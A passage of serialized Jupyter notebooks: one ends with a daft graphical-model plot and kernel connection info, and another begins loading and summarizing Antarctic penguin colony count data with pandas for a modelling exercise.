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\nGgwx87/ik6FGCWBGOAAAAABJRU5ErkJggg==\n", "text/plain": [ "<Figure size 204.094x198.425 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from matplotlib import rc\n", "rc(\"font\", family=\"serif\", size=12)\n", "rc(\"text\", usetex=True)\n", "\n", "import daft\n", "\n", "# Colors.\n", "p_color = {\"ec\": \"#46a546\"}\n", "s_color = {\"ec\": \"#f89406\"}\n", "\n", "pgm = daft.PGM([3.6, 3.5], origin=[0.7, 0])\n", "\n", "n = daft.Node(\"phi\", r\"$\\phi$\", 1, 3, plot_params=s_color)\n", "n.va = \"baseline\"\n", "pgm.add_node(n)\n", "pgm.add_node(daft.Node(\"speckle_coeff\", r\"$z_i$\", 2, 3, plot_params=s_color))\n", "pgm.add_node(daft.Node(\"speckle_img\", r\"$x_i$\", 2, 2, plot_params=s_color))\n", "\n", "pgm.add_node(daft.Node(\"spec\", r\"$s$\", 4, 3, plot_params=p_color))\n", "pgm.add_node(daft.Node(\"shape\", r\"$g$\", 4, 2, plot_params=p_color))\n", "pgm.add_node(daft.Node(\"planet_pos\", r\"$\\mu_i$\", 3, 3, plot_params=p_color))\n", "pgm.add_node(daft.Node(\"planet_img\", r\"$p_i$\", 3, 2, plot_params=p_color))\n", "\n", "pgm.add_node(daft.Node(\"pixels\", r\"$y_i ^j$\", 2.5, 1, observed=True))\n", "\n", "# Edges.\n", "pgm.add_edge(\"phi\", \"speckle_coeff\")\n", "pgm.add_edge(\"speckle_coeff\", \"speckle_img\")\n", "pgm.add_edge(\"speckle_img\", \"pixels\")\n", "\n", "pgm.add_edge(\"spec\", \"planet_img\")\n", "pgm.add_edge(\"shape\", \"planet_img\")\n", "pgm.add_edge(\"planet_pos\", \"planet_img\")\n", "pgm.add_edge(\"planet_img\", \"pixels\")\n", "\n", "# And a plate.\n", "pgm.add_plate(daft.Plate([1.5, 0.2, 2, 3.2], label=r\"exposure $i$\",\n", " shift=-0.1))\n", "pgm.add_plate(daft.Plate([2, 0.5, 1, 1], label=r\"pixel $j$\",\n", " shift=-0.1))\n", "\n", "# Render and save.\n", "pgm.render()\n", "plt.show(pgm.ax)" ] }, { "cell_type": "code", "execution_count": 33, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "{\n", " \"stdin_port\": 57484, \n", " \"ip\": \"127.0.0.1\", \n", " \"control_port\": 57485, \n", " \"hb_port\": 57486, \n", " \"signature_scheme\": \"hmac-sha256\", \n", " \"key\": \"062534bd-ecab-4960-b66c-4bdacfd6b692\", \n", " \"shell_port\": 57482, \n", " \"transport\": \"tcp\", \n", " \"iopub_port\": 57483\n", "}\n", "\n", "Paste the above JSON into a file, and connect with:\n", " $> ipython <app> --existing <file>\n", "or, if you are local, you can connect with just:\n", " $> ipython <app> --existing /Users/cemgil/Library/Jupyter/runtime/kernel-28aae665-e995-49c2-a35c-c1740b4d8c4f.json \n", "or even just:\n", " $> ipython <app> --existing \n", "if this is the most recent IPython session you have started.\n" ] } ], "source": [ "%connect_info" ] } ], "metadata": { "kernelspec": { "display_name": "Python [conda env:anaconda]", "language": "python", "name": "conda-env-anaconda-py" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.5" }, "toc": { "nav_menu": {}, "number_sections": true, "sideBar": true, "skip_h1_title": false, "toc_cell": false, "toc_position": {}, "toc_section_display": "block", "toc_window_display": false } }, "nbformat": 4, "nbformat_minor": 1 }

mit

jithinpr2/PenguinRandomWalk

Models/svm_RBF.ipynb

2

104798

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [], "source": [ "%matplotlib inline\n", "\n", "from __future__ import print_function\n", "from __future__ import division\n", "\n", "import os\n", "\n", "import pandas as pd\n", "import numpy as np\n", "from tqdm import tqdm_notebook\n", "\n", "from matplotlib import pyplot as plt\n", "from matplotlib.colors import rgb2hex\n", "import seaborn as sns\n", "\n", "import statsmodels.api as sm\n", "\n", "# let's not pollute this blog post with warnings\n", "from warnings import filterwarnings\n", "filterwarnings('ignore')" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>site_name</th>\n", " <th>site_id</th>\n", " <th>ccamlr_region</th>\n", " <th>longitude_epsg_4326</th>\n", " <th>latitude_epsg_4326</th>\n", " <th>common_name</th>\n", " <th>day</th>\n", " <th>month</th>\n", " <th>year</th>\n", " <th>season_starting</th>\n", " <th>penguin_count</th>\n", " <th>accuracy</th>\n", " <th>count_type</th>\n", " <th>vantage</th>\n", " <th>e_n</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td>Acuna Island</td>\n", " <td>ACUN</td>\n", " <td>48.2</td>\n", " <td>-44.637</td>\n", " <td>-60.7612</td>\n", " <td>chinstrap penguin</td>\n", " <td>28.0</td>\n", " <td>12.0</td>\n", " <td>1983</td>\n", " <td>1983</td>\n", " <td>4000.0</td>\n", " <td>4.0</td>\n", " <td>nests</td>\n", " <td>ground</td>\n", " <td>0.50</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td>Acuna Island</td>\n", " <td>ACUN</td>\n", " <td>48.2</td>\n", " <td>-44.637</td>\n", " <td>-60.7612</td>\n", " <td>adelie penguin</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>1993</td>\n", " <td>1993</td>\n", " <td>2008.0</td>\n", " <td>1.0</td>\n", " <td>nests</td>\n", " <td>ground</td>\n", " <td>0.05</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td>Acuna Island</td>\n", " <td>ACUN</td>\n", " <td>48.2</td>\n", " <td>-44.637</td>\n", " <td>-60.7612</td>\n", " <td>adelie penguin</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>1994</td>\n", " <td>1994</td>\n", " <td>1920.0</td>\n", " <td>1.0</td>\n", " <td>nests</td>\n", " <td>NaN</td>\n", " <td>0.05</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td>Acuna Island</td>\n", " <td>ACUN</td>\n", " <td>48.2</td>\n", " <td>-44.637</td>\n", " <td>-60.7612</td>\n", " <td>adelie penguin</td>\n", " <td>NaN</td>\n", " <td>NaN</td>\n", " <td>2004</td>\n", " <td>2004</td>\n", " <td>1880.0</td>\n", " <td>1.0</td>\n", " <td>nests</td>\n", " <td>ground</td>\n", " <td>0.05</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td>Acuna Island</td>\n", " <td>ACUN</td>\n", " <td>48.2</td>\n", " <td>-44.637</td>\n", " <td>-60.7612</td>\n", " <td>adelie penguin</td>\n", " <td>25.0</td>\n", " <td>2.0</td>\n", " <td>2011</td>\n", " <td>2010</td>\n", " <td>3079.0</td>\n", " <td>5.0</td>\n", " <td>nests</td>\n", " <td>vhr</td>\n", " <td>0.90</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " site_name site_id ccamlr_region longitude_epsg_4326 \\\n", "0 Acuna Island ACUN 48.2 -44.637 \n", "1 Acuna Island ACUN 48.2 -44.637 \n", "2 Acuna Island ACUN 48.2 -44.637 \n", "3 Acuna Island ACUN 48.2 -44.637 \n", "4 Acuna Island ACUN 48.2 -44.637 \n", "\n", " latitude_epsg_4326 common_name day month year season_starting \\\n", "0 -60.7612 chinstrap penguin 28.0 12.0 1983 1983 \n", "1 -60.7612 adelie penguin NaN NaN 1993 1993 \n", "2 -60.7612 adelie penguin NaN NaN 1994 1994 \n", "3 -60.7612 adelie penguin NaN NaN 2004 2004 \n", "4 -60.7612 adelie penguin 25.0 2.0 2011 2010 \n", "\n", " penguin_count accuracy count_type vantage e_n \n", "0 4000.0 4.0 nests ground 0.50 \n", "1 2008.0 1.0 nests ground 0.05 \n", "2 1920.0 1.0 nests NaN 0.05 \n", "3 1880.0 1.0 nests ground 0.05 \n", "4 3079.0 5.0 nests vhr 0.90 " ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "observations = pd.read_csv(os.path.join('data', 'training_set_observations.csv'), index_col=0)\n", "observations.head()" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "Index(['site_name', 'site_id', 'ccamlr_region', 'longitude_epsg_4326',\n", " 'latitude_epsg_4326', 'common_name', 'day', 'month', 'year',\n", " 'season_starting', 'penguin_count', 'accuracy', 'count_type', 'vantage',\n", " 'e_n'],\n", " dtype='object')" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" } ], "source": [ "observations.columns" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>longitude_epsg_4326</th>\n", " <th>latitude_epsg_4326</th>\n", " <th>day</th>\n", " <th>month</th>\n", " <th>year</th>\n", " <th>season_starting</th>\n", " <th>penguin_count</th>\n", " <th>accuracy</th>\n", " <th>e_n</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>count</th>\n", " <td>2952.000000</td>\n", " <td>2952.000000</td>\n", " <td>1797.000000</td>\n", " <td>2226.000000</td>\n", " <td>2952.000000</td>\n", " <td>2952.000000</td>\n", " <td>2935.000000</td>\n", " <td>2935.000000</td>\n", " <td>2935.000000</td>\n", " </tr>\n", " <tr>\n", " <th>mean</th>\n", " <td>-11.722006</td>\n", " <td>-65.935391</td>\n", " <td>15.593767</td>\n", " <td>6.943845</td>\n", " <td>1997.558604</td>\n", " <td>1997.206978</td>\n", " <td>8569.280409</td>\n", " <td>1.826235</td>\n", " <td>0.167291</td>\n", " </tr>\n", " <tr>\n", " <th>std</th>\n", " <td>85.926830</td>\n", " <td>4.380338</td>\n", " <td>8.818179</td>\n", " <td>5.244836</td>\n", " <td>12.724139</td>\n", " <td>12.671414</td>\n", " <td>29579.280288</td>\n", " <td>1.258289</td>\n", " <td>0.243676</td>\n", " </tr>\n", " <tr>\n", " <th>min</th>\n", " <td>-140.326600</td>\n", " <td>-77.578012</td>\n", " <td>1.000000</td>\n", " <td>1.000000</td>\n", " <td>1895.000000</td>\n", " <td>1895.000000</td>\n", " <td>0.000000</td>\n", " <td>1.000000</td>\n", " <td>0.050000</td>\n", " </tr>\n", " <tr>\n", " <th>25%</th>\n", " <td>-62.866700</td>\n", " <td>-67.450250</td>\n", " <td>8.000000</td>\n", " <td>1.000000</td>\n", " <td>1987.000000</td>\n", " <td>1986.000000</td>\n", " <td>272.000000</td>\n", " <td>1.000000</td>\n", " <td>0.050000</td>\n", " </tr>\n", " <tr>\n", " <th>50%</th>\n", " <td>-58.933000</td>\n", " <td>-64.794600</td>\n", " <td>15.000000</td>\n", " <td>11.000000</td>\n", " <td>1999.000000</td>\n", " <td>1999.000000</td>\n", " <td>1098.000000</td>\n", " <td>1.000000</td>\n", " <td>0.050000</td>\n", " </tr>\n", " <tr>\n", " <th>75%</th>\n", " <td>39.425200</td>\n", " <td>-62.596000</td>\n", " <td>24.000000</td>\n", " <td>12.000000</td>\n", " <td>2009.000000</td>\n", " <td>2009.000000</td>\n", " <td>3612.000000</td>\n", " <td>2.000000</td>\n", " <td>0.100000</td>\n", " </tr>\n", " <tr>\n", " <th>max</th>\n", " <td>171.169200</td>\n", " <td>-60.533300</td>\n", " <td>31.000000</td>\n", " <td>12.000000</td>\n", " <td>2014.000000</td>\n", " <td>2013.000000</td>\n", " <td>428516.000000</td>\n", " <td>5.000000</td>\n", " <td>0.900000</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " longitude_epsg_4326 latitude_epsg_4326 day month \\\n", "count 2952.000000 2952.000000 1797.000000 2226.000000 \n", "mean -11.722006 -65.935391 15.593767 6.943845 \n", "std 85.926830 4.380338 8.818179 5.244836 \n", "min -140.326600 -77.578012 1.000000 1.000000 \n", "25% -62.866700 -67.450250 8.000000 1.000000 \n", "50% -58.933000 -64.794600 15.000000 11.000000 \n", "75% 39.425200 -62.596000 24.000000 12.000000 \n", "max 171.169200 -60.533300 31.000000 12.000000 \n", "\n", " year season_starting penguin_count accuracy e_n \n", "count 2952.000000 2952.000000 2935.000000 2935.000000 2935.000000 \n", "mean 1997.558604 1997.206978 8569.280409 1.826235 0.167291 \n", "std 12.724139 12.671414 29579.280288 1.258289 0.243676 \n", "min 1895.000000 1895.000000 0.000000 1.000000 0.050000 \n", "25% 1987.000000 1986.000000 272.000000 1.000000 0.050000 \n", "50% 1999.000000 1999.000000 1098.000000 1.000000 0.050000 \n", "75% 2009.000000 2009.000000 3612.000000 2.000000 0.100000 \n", "max 2014.000000 2013.000000 428516.000000 5.000000 0.900000 " ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "observations.describe()" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/plain": [ "<matplotlib.axes._subplots.AxesSubplot at 0x1ea167d7ac8>" ] }, "execution_count": 5, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAApMAAAKsCAYAAACwOjaFAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xt4FOX9/vF7NmGTQKIBAsjJcC5oiRUQRTkIhoogJyUQ\nUWwVUIqoJYBUqyi0GkSCUlOKqEWJSOQgVMFqBSwo1UpBRFFAOUa0JhEC5EBCsvP7wx+75YuG2dFJ\nZsz7dV17XWQ3Zm9HxNvPs88zhmmapgAAAAAbfNUdAAAAAN5FmQQAAIBtlEkAAADYRpkEAACAbZRJ\nAAAA2EaZBAAAgG2R1R0AAADAa8YZLao7giRpvrm/uiMwmQQAAIB9lEkAAADYxjI3AABAmCKM6k7g\nHkwmAQAAYBtlEgAAALaxzA0AABCmCIN17lOYTAIAAMA2yiQAAABsY5kbAAAgTOzmDmEyCQAAANuY\nTAIAAISJDTghTCYBAABgG2USAAAAtrHMDQAAECY24IQwmQQAAIBtTCYBAADCxAacECaTAAAAsI0y\nCQAAANtY5gYAAAgTG3BCmEwCAADANsokAAAAbGOZGwAAIEzs5g5hMgkAAADbmEwCAACEiWlcCNcC\nAAAAtlEmAQAAYBvL3AAAAGFiA04Ik0kAAADYxmQSAAAgTNwBJ4TJJAAAAGyjTAIAAMA2lrkBAADC\nxAacECaTAAAAsI0yCQAAANtY5gYAAAgTu7lDmEwCAADANiaTAAAAYWIDTgiTSQAAANhGmQQAAIBt\nLHMDAACEiQ04IUwmAQAAYBtlEgAAALaxzA0AABAmdnOHMJkEAACAbUwmAQAAwsQGnBAmkwAAALCN\nMgkAAADbWOYGAAAIE8vcIUwmAQAAYBuTSQAAgDBxNFAIk0kAAADYRpkEAACAbSxzAwAAhIkNOCFM\nJgEAAGAbZRIAAAC2scwNAAAQJnZzhzCZBAAAgG1MJgEAAMLEBpyQSsvk0aNHtX//fiUlJWnlypX6\n+OOP1aZNGw0fPlyRkfRQAACAmq7SZe60tDTl5ubqscce05YtW3T55ZfrwIEDmjp1alXlAwAAgItV\nOl4sKytT3759tWjRImVlZUmSkpOTlZqaWiXhAAAA3IgNOCGVTiYjIyO1fft2derUSZs3b5Ykbdmy\nRT4f+3YAAAAgGaZpmt/34sGDB/XAAw/o8OHD+uyzzxQbG6sWLVroj3/8o9q3b1+VOQEAAFxj5XkX\nVncESdLQ/+743tdM09RDDz2kXbt2ye/36+GHH1bz5s2Dr7/yyit67rnnFBERoeuuu0433HCDrQyV\nlslTSktLVVBQoPj4eEVFRdl6IwAAgJ8KL5TJN998U+vXr1d6ero+/PBDPfXUU5